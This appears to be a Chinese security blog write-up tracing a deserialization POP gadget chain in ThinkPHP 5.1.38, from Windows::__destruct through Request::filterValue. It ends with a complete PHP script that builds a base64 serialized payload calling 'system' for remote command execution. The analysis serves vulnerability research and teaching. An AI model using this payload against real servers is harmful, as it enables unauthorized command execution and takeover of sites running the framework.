文章首发于合天智汇:https://mp.weixin.qq.com/s/8dyuy-rW8-6isvHxmTI33A
前段时间网上爆出 ThinkPHP 5.1.x 的 POP 链,早就想分析一下,正好最近有空,就记录一下吧
环境:
MacOS 10.13
MAMAP Pro
php 7.0.33 + xdebug
Visual Studio Code
前言
我所理解的 POP Chain:
利用魔术方法并巧妙构造特殊属性调用一系列函数或类方法以执行某种敏感操作的调用堆栈
反序列化常用魔法函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| __wakeup, unserialize() 执行前调用
__destruct, 对销毁的时候调用
__toString, 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在
unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
|
phar 文件通过 phar:// 伪协议拓宽攻击面
因为 phar 文件会以序列化的形式存储用户自定义的meta-data,所以在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作,深入了解请至:https://paper.seebug.org/680/
受影响文件系统函数 |
|
|
|
fileatime |
filectime |
file_exists |
file_get_contents |
file_put_contents |
file |
filegroup |
fopen |
fileinode |
filemtime |
fileowner |
fileperms |
is_dir |
is_executable |
is_file |
is_link |
is_readable |
is_writable |
is_writeable |
parse_ini_file |
copy |
unlink |
stat |
readfile |
如果对反序列化没有了解的话建议先学习下相关内容
ThinkPHP v5.1.x POP 链分析
安装
这里使用的是官方 ThinkPHP V5.1.38
composer 部署
composer create-project topthink/think=5.1.38 tp5.1.38
利用链
全局搜索函数 __destruct
来到 /thinkphp/library/think/process/pipes/Windows.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public function __destruct() { $this->close(); $this->removeFiles(); } . . . . . .
private function removeFiles() { foreach ($this->files as $filename) { if (file_exists($filename)) { @unlink($filename); } } $this->files = []; }
|
看下 file_exists
的描述
1
| file_exists ( string $filename ) : bool
|
如果传入的 $filename
是个反序列化的对象,在被 file_exists 当作字符串处理的时候就会触发其 __toString
方法(如果有的话)
所以下面就是找含 __toString
方法的类
来到 /thinkphp/library/think/model/concern/Conversion.php
1 2 3 4 5 6 7 8 9 10 11 12
| public function toJson($options = JSON_UNESCAPED_UNICODE) { return json_encode($this->toArray(), $options); }
. . . . . .
public function __toString() { return $this->toJson(); }
|
可以看到,在 toJson()
函数中又调用了 toArray()
函数
如果 toArray()
函数中存在并使用某个可控变量的方法,那么我们就可以利用这点去触发其他类的 __call
方法
下面是 toArray()
函数的定义,$this->append
作为类属性是可控的,所以 $relation
和 $name
也就可控了,于是 $relation->visible($name);
就成了这个 POP 链中的中间跳板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| public function toArray() { $item = []; $hasVisible = false;
. . . . . .
if (!empty($this->append)) { foreach ($this->append as $key => $name) { if (is_array($name)) { $relation = $this->getRelation($key);
if (!$relation) { $relation = $this->getAttr($key); if ($relation) { $relation->visible($name); } }
$item[$key] = $relation ? $relation->append($name)->toArray() : []; } elseif (strpos($name, '.')) { . . . . . . } else { $item[$name] = $this->getAttr($name, $item); } } }
return $item; }
|
那我们在这里应该传入怎么样的值以及什么数据呢,先看下 $relation
是如何处理得到的
跟进 getRelation,在 /thinkphp/library/think/model/concern/RelationShip.php 中找到函数定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| trait RelationShip {
. . . . . .
public function getRelation($name = null) { if (is_null($name)) { return $this->relation; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } return; } . . . . . . }
|
由于 getRelation 最终都会 return;
导致返回 NULL,所以 下面的 if (!$relation)
一定成立
所以直接跟进后面的 getAttr,在 /thinkphp/library/think/model/concern/Attribute.php 找到其定义
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| trait Attribute {
. . . . . . public function getData($name = null) { if (is_null($name)) { return $this->data; } elseif (array_key_exists($name, $this->data)) { return $this->data[$name]; } elseif (array_key_exists($name, $this->relation)) { return $this->relation[$name]; } throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name); } . . . . . . public function getAttr($name, &$item = null) { try { $notFound = false; $value = $this->getData($name); } catch (InvalidArgumentException $e) { $notFound = true; $value = null; } . . . . . . } }
|
从 getAttr —> getData 返回 data 数组中同名键值的元素值,即 $relation <---- $this->data[$name]
,我们需要的 $data
和 $append
分别位于 Attribute 和 Conversion,且两者都是 trait 类型
Trait 可以说是和 Class 相似,是 PHP 5.4.0 开始实现的一种代码复用的方法,可以使用 use 加载,举个例子
详情可以看官方手册 PHP: Trait - Manual
所以接下来是寻找一个同时使用了 Attribute 和 Conversion 的类
发现只有 /thinkphp/library/think/Model.php 满足条件
1 2 3 4 5 6 7 8 9 10 11
| abstract class Model implements \JsonSerializable, \ArrayAccess { use model\concern\Attribute; use model\concern\RelationShip; use model\concern\ModelEvent; use model\concern\TimeStamp; use model\concern\Conversion; . . . . . .
}
|
下面就需要找到一个没有 visible 方法却有 __call 方法的类作为执行点
找到 /thinkphp/library/think/Request.php 中的 Request 类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| class Request {
. . . . . .
protected $hook = []; . . . . . . public function __call($method, $args) { if (array_key_exists($method, $this->hook)) { array_unshift($args, $this); return call_user_func_array($this->hook[$method], $args); }
throw new Exception('method not exists:' . static::class . '->' . $method); }
. . . . . .
}
|
这里的回调参数来源于 $hook
数组,而且方法名和参数都是可控的,不过 array_unshift
函数会把若干元素前置到数组的开头
1 2 3 4 5 6 7 8 9 10 11 12
| $queue = array("orange", "banana"); array_unshift($queue, "apple", "raspberry"); print_r($queue);
Array ( [0] => apple [1] => raspberry [2] => orange [3] => banana )
|
这样的话明显就很难执行命令了,因为参数数组的第一个元素始终是 $this
,无法直接执行我们想要的命令, 需要其他某种对参数不是这么敏感的函数作为一个新的执行点或者跳板
Request 类中有一个 filterValue 函数具有过滤功能,寻找调用 filterValue 的地方以便控制 $value
和 $filters
好执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private function filterValue(&$value, $key, $filters) { $default = array_pop($filters);
foreach ($filters as $filter) { if (is_callable($filter)) { $value = call_user_func($filter, $value); } elseif (is_scalar($value)) { . . . . . . }
return $value; }
|
Request 类中的 input 函数由 array_walk_recursive 调用了 filterValue,但是参数仍不可控,再往上寻找调用点看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| public function input($data = [], $name = '', $default = null, $filter = '') {
if (false === $name) { return $data; }
$name = (string) $name; if ('' != $name) { if (strpos($name, '/')) { list($name, $type) = explode('/', $name); }
$data = $this->getData($data, $name);
if (is_null($data)) { return $default; }
if (is_object($data)) { return $data; } }
$filter = $this->getFilter($filter, $default);
if (is_array($data)) { array_walk_recursive($data, [$this, 'filterValue'], $filter); if (version_compare(PHP_VERSION, '7.1.0', '<')) { $this->arrayReset($data); } } else { $this->filterValue($data, $name, $filter); }
. . . . . .
return $data; }
|
Request 类中的 param 函数调用了 input 函数,但同样参数不可控,再往上寻找调用点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| public function param($name = '', $default = null, $filter = '') {
. . . . . .
if (true === $name) { $file = $this->file(); $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter); }
return $this->input($this->param, $name, $default, $filter); }
|
转到 isAjax 函数的定义
1 2 3 4 5 6 7 8 9 10 11 12 13
| public function isAjax($ajax = false) { $value = $this->server('HTTP_X_REQUESTED_WITH'); $result = 'xmlhttprequest' == strtolower($value) ? true : false;
if (true === $ajax) { return $result; }
$result = $this->param($this->config['var_ajax']) ? true : $result; $this->mergeParam = false; return $result; }
|
这里 $ajax
参数没有对类型的限制,而且 param 的参数来自 $this->config
,是可控的,param 在最后所调用的 input 函数的 $this->param, $name
就都可控
跟进 get 和 route 函数不难发现 $this->param
的值来自 GET 请求
1 2 3 4 5 6 7 8 9 10
| $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
|
那么回到 input 函数看处理流程
首先 $this->getData($data, $name)
得到 $data
,跟进分析,返回 $data
为 $data[$val]
的值,即 $data[$name]
1 2 3 4 5 6 7 8 9 10 11 12
| protected function getData(array $data, $name) { foreach (explode('.', $name) as $val) { if (isset($data[$val])) { $data = $data[$val]; } else { return; } }
return $data; }
|
回到 input,接着处理 $filter = $this->getFilter($filter, $default);
getFilter 的两个参数分别为 ''
和 null
且都不可控,但是跟进不难看出最后返回 $filter
的值就是 $this->filter
,虽然后面 $filter[] = $default;
会给 filter 数组追加个值为 null
的元素,但后面 filterValue 中的 array_pop 函数正好给去掉了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| protected function getFilter($filter, $default) { if (is_null($filter)) { $filter = []; } else { $filter = $filter ?: $this->filter; if (is_string($filter) && false === strpos($filter, '/')) { $filter = explode(',', $filter); } else { $filter = (array) $filter; } }
$filter[] = $default;
return $filter; }
|
这样就得到一条可控变量的函数调用链,最后执行命令
下面简单梳理下流程
通过 Windows 类 __destruct()
方法调用到 file_exists
触发某类的 __toString()
来到 toArray()
函数
通过控制分别位于 Attribute 和 Conversion 的 $data
和 $append
变量执行在 Request 中不存在的 visible
函数进而触发其 __call()
在 Request 通过控制 $hook $filter $config
三个变量的值注入最终的 callback 名称和参数,再经这么一系列函数调用执行命令
1
| __call() ---> call_user_func_array() ---> isAjax() ---> param() ---> input() ---> filterValue() ---> call_user_func()
|
画个图就直观多了
构造 Payload
由于 Model 类是 abstract 类型,无法实例化,而extends Model 的也只有一个 Pivot 类,所以就用它吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| <?php
namespace think; abstract class Model { protected $append = []; private $data = []; function __construct(){ $this->append = ["a"=>[""]]; $this->data = ["a"=>new Request()]; } }
namespace think\model; use think\Model; class Pivot extends Model {
}
namespace think\process\pipes; use think\model\Pivot; class Windows { private $files = []; public function __construct() { $this->files = [new Pivot()]; } }
namespace think; class Request { protected $hook = []; protected $filter = "system"; protected $config = [ 'var_method' => '_method', 'var_ajax' => '_ajax', 'var_pjax' => '_pjax', 'var_pathinfo' => 's', 'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'], 'default_filter' => '', 'url_domain_root' => '', 'https_agent_name' => '', 'http_agent_ip' => 'HTTP_X_REAL_IP', 'url_html_suffix' => 'html', ]; function __construct(){ $this->filter = "system"; $this->config = ["var_ajax"=>'']; $this->hook = ["visible"=>[$this,"isAjax"]]; } }
use think\process\pipes\Windows; echo base64_encode(serialize(new Windows()));
|
自己先构造一个利用点反序列化我们的内容,生成好 payload,GET 传入要执行的命令,命令别忘了 urlencode
查看调用堆栈
Reference:
https://paper.seebug.org/1040/
https://blog.riskivy.com/%E6%8C%96%E6%8E%98%E6%9A%97%E8%97%8Fthinkphp%E4%B8%AD%E7%9A%84%E5%8F%8D%E5%BA%8F%E5%88%97%E5%88%A9%E7%94%A8%E9%93%BE/